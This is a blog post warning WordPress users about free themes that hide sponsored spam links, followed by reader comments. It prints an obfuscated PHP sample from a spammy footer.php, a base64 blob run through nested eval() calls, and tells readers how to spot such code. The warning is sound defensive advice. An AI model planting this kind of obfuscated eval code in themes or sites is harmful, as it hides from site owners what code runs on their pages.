Beware of Spammy Wordpress Themes and Sites

Recently sponsored wordpress themes were criticised a lot and were banned at two biggest wordpress theme repositories: Themes.wordpress.net and weblogtoolscollection.com This came as a big blog to free theme developers. So what did they resorted to?

Well, they started encrypting sponsored links in the footer so that it can’t be removed. In this post I will tell you how to find if your theme is a sponsored/spammy type and also to avoid which shady wordpress theme sites.

Identify your WordPress Theme

Well the easiest method is to first run the theme on localhost and check footer or blogroll for unrelated and spammy type links. If you found them, time to either remove the links or the not use the theme at all(if links are encrypted).

To Check for encrypted links in footer open footer.php of your theme’s file and check for something like this below code:

<?php /* WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited. */
$o=”QAAAOzh3b3cnbmlka3JjYi9TQgAASldLRlNCV0ZTTycpJyU
oZQICaHNzaGopAkAlLjwnODkOABANIAAODgAwO2NucSduYzolY
WhocwwAYnUlOQFAADAOJ0NidG5gaSdlAAB+JztmJ291YmE6JW9z
c3c9AAAoKHBwcClhZnVmcGZ+YXJ1AABpbnNydWIpZGgpcmwodG9
oYAB3AFIGsThkNjpOaWNoaHUhZDUAADpDbmluaWAiNTdUYnN0JTmA
gADzJ1VoaGonQQRlOyhmOSdQbjAIc28HTwdAZWhrY3VyYHQGwGooJQA
AOSdDbnRkaHJpcydmdWJmJ9gAAaEEAisD3wPQb2J1dHNia2tidSoACH
VyaWN0ZG9mcilkbwSBRXVmAHBpZG9iaWVyZG8EIQQfDyFlZnJiAgBpK
nBob2kAcGJuaXVuZG9zYggBaSlmcwRBTmpqaGVua25iaQQhZDgNFCAA
MDsoFdA5Dg0NAJMBIACxZWhjIAB+OQEwb3Nqazk=”;eval(base64_decode(“J
GxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4
c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbG
xsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA
7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNi
R3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsb
CgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsb
GxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGx
sbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsb
GwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbG
woJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGx
sbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsb
D0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbG
xsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGx
sKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbG
w7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFsk
bGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJG
xsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCg
kbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxs
bGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOy
RsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsK
ytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbG
xsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEM
G5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2
JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxs
bGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC4
9JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKC
RsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3
hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbG
wpOw==”));return;?>

This stupid looking code contains 4 spammy links. :shock: Don’t believe me? Put this code in a simple text file, name it as spam.php and upload to your server and open it.

Don’t use this code. I just used it as reference from a spammy theme.

If you see such code in your footer.php file, its time to dump the theme forever. And if you find only simple html written sponsored links, you can remove them. Theme author has no justification to make you keep those links.

Beware of Spammy WordPress Theme Distribution Sites

Two Sites which are known to be adding their own links to themes and removing credit links to designer reported from weblogtoolscollection.com are blogstheme.com and wpthemesfree.com (I won’t link to them but linking to sources which tell about them). So please don’t download from these sites. One such site which used to do this shut down(templatesbrowser.com).

How to Prevent yourself from such sites

Genuine wordpress theme sites link to original authors and even link to original download links. This way you are always guranteed of safe and original versions of themes. If not so, then search for the theme at Google and find out the real author’s site and download from link provided by author. This will always ensure that no middleman comes between you and your favorite wordpress theme and your site stays clear of spam. :grin:

10 Comments



  1. Unfortunately, a colleague of mine found this hidden spam in a sidebar once as well. Not good.


  2. One of my blogs is on a wordpress theme, I would have never known that this was even a possibility.


  3. I’m new to learning all about how back links and spam links work, but I already know how important it is to stay away from spammy sites that could actually be hurting your page rank. Hey, I’m all about working smarter not harder. :p


  4. I know you wrote this back in November, but I am in shock that this would even be allowed. As a non-techie, you trust that WordPress would at least control their themes before approving them.

    I’m with Teri, doesn’t seem ethical.


  5. Sounds like some of the ridiculous wordpress ecommerce blogs I have seen it just doesn’t seem ethical.


  6. Great post, now I am going to check all the blogs I made to make sure they’re not spammy.


  7. Good info there N,

    Another option to check whether you have junk in your theme is to install it first (:() and do a spider simulation.

    You get to see the hidden text too this way.

    Cheers!
    Mani



  8. One of my competition does that locally. He has 185K+ links coming into his site, mainly from templates for various CMSes. With my measly 570 links I am beating him on several terms he is shooting for. A quality link is way better then a spam link :)

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